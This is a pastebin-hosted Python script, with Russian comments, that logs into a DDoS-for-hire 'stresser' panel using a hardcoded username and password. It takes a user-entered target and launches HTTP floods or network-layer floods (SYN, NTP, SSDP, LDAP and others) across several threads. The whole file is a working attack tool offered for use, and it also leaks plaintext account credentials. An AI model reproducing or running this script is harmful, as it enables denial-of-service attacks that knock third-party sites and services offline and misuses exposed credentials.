Facebook
From JlyHTuK, 3 Years ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 53
  1. import requests, time
  2. from time import sleep
  3. from threading import Thread
  4. import colorama
  5.  
  6.  
  7. colorama.init()
  8. red = "\033[1;31m"
  9. error = "\033[30;41m"
  10. end = "\033[0;0m"
  11. green = "\033[1;42m"
  12.  
  13. print(' / __) |                                                 ')
  14. time.sleep(0.2)
  15. print('| |__| | ___  _ _ _    ____   ____  ____ ___  ____  ____ ')
  16. time.sleep(0.2)
  17. print('|  __) |/ _ \| | | |  |  _ \ / _  |/ ___)___)/ _  )/ ___)')
  18. time.sleep(0.2)
  19. print('| |  | | |_| | | | |  | | | ( ( | | |  |___ ( (/ /| |  ')
  20. time.sleep(0.2)
  21. print('|_|  |_|\___/ \____|  | ||_/ \_||_|_|  (___/ \____)_|   ')
  22.  
  23.  
  24.  
  25. class run(Thread):
  26.     """
  27.     A threading example
  28.     """
  29.    
  30.     def __init__(self, name,url):
  31.         """Инициализация потока"""
  32.         Thread.__init__(self)
  33.         self.name = name
  34.         self.url = url
  35.    
  36.     def run(self):
  37.         """Запуск потока"""
  38.         s = requests.Session()
  39.         s.get(url="https://stressit.club/panel/login.php")
  40.         auth = s.post(url="https://stressit.club/panel/login.php",
  41.                             data={"login-username": "Xeonka", "login-password": "12Xeonka12","doLogin":""})
  42.         if(auth.status_code==200):
  43.             stime=0
  44.             if(time.time()-stime>=253):
  45.                     stime=time.time()
  46.                     res = s.get(url=self.url)
  47.                     sleep(5)
  48.             else:
  49.                     print("\nFailed to run on one of the servers")
  50.    
  51.  
  52. if __name__ == '__main__':
  53.     print(red + "Target: " + end)
  54.     to_attack = input()
  55.     to_port = ""
  56.     to_servers = 1
  57.     to_method = ""
  58.     seconds = 600
  59.     max_server_l4 = 4
  60.     max_server_l7 = 8
  61.     type_attck = "l4"
  62.     url = ""
  63.     if to_attack.startswith("http"):
  64.         type_attck = "l7"
  65.         to_servers = int(input("\nSelecting servers(1-8): \n"))
  66.         url = "https://stressit.club/panel/includes/ajax/hub.php?type=startl7&host="+to_attack+"&port=80&time=600&method=storm&concurrents=1&reqmethod=GET&reqmode=http&post=false&cookies=false&referer=false&origin=undefined&bypassl7=false&reload=75"
  67.     else:
  68.         to_port = input("Port: \n")
  69.         to_servers = int(input("Selecting servers(1-8): \n"))
  70.         methods = {1:"ACK",2:"CHARGEN",3:"ESP",4:"GRE",5:"LDAP",6:"NTP",7:"RAND",8:"SSDP",9:"SYN",10:"UDP-RAND",11:"WSD"}
  71.         method = int(input("Выбери метод:\nL3:\n\t1. ACK\n\t2. CHARGEN\n\t3. ESP\nL4:\n\t4. GRE\n\t5. LDAP\n\t6. NTP\n\t7. RAND\n\t8. SSDP\n\t9. SYN\n\t10. UDP-RAND\n\t11. WSD\n(1-11):"))
  72.         url="https://stressit.club/panel/includes/ajax/hub.php?type=startl4&host="+to_attack+"&port="+to_port+"&time=600&method="+methods[method]+"&concurrents=1"
  73.  
  74.  
  75.     for i in range(to_servers):
  76.         name = "Поток %s" % (i+1)
  77.         thread = run(name,url)
  78.         thread.start()
  79.    
  80.     print(green + "\nworking hard" + end)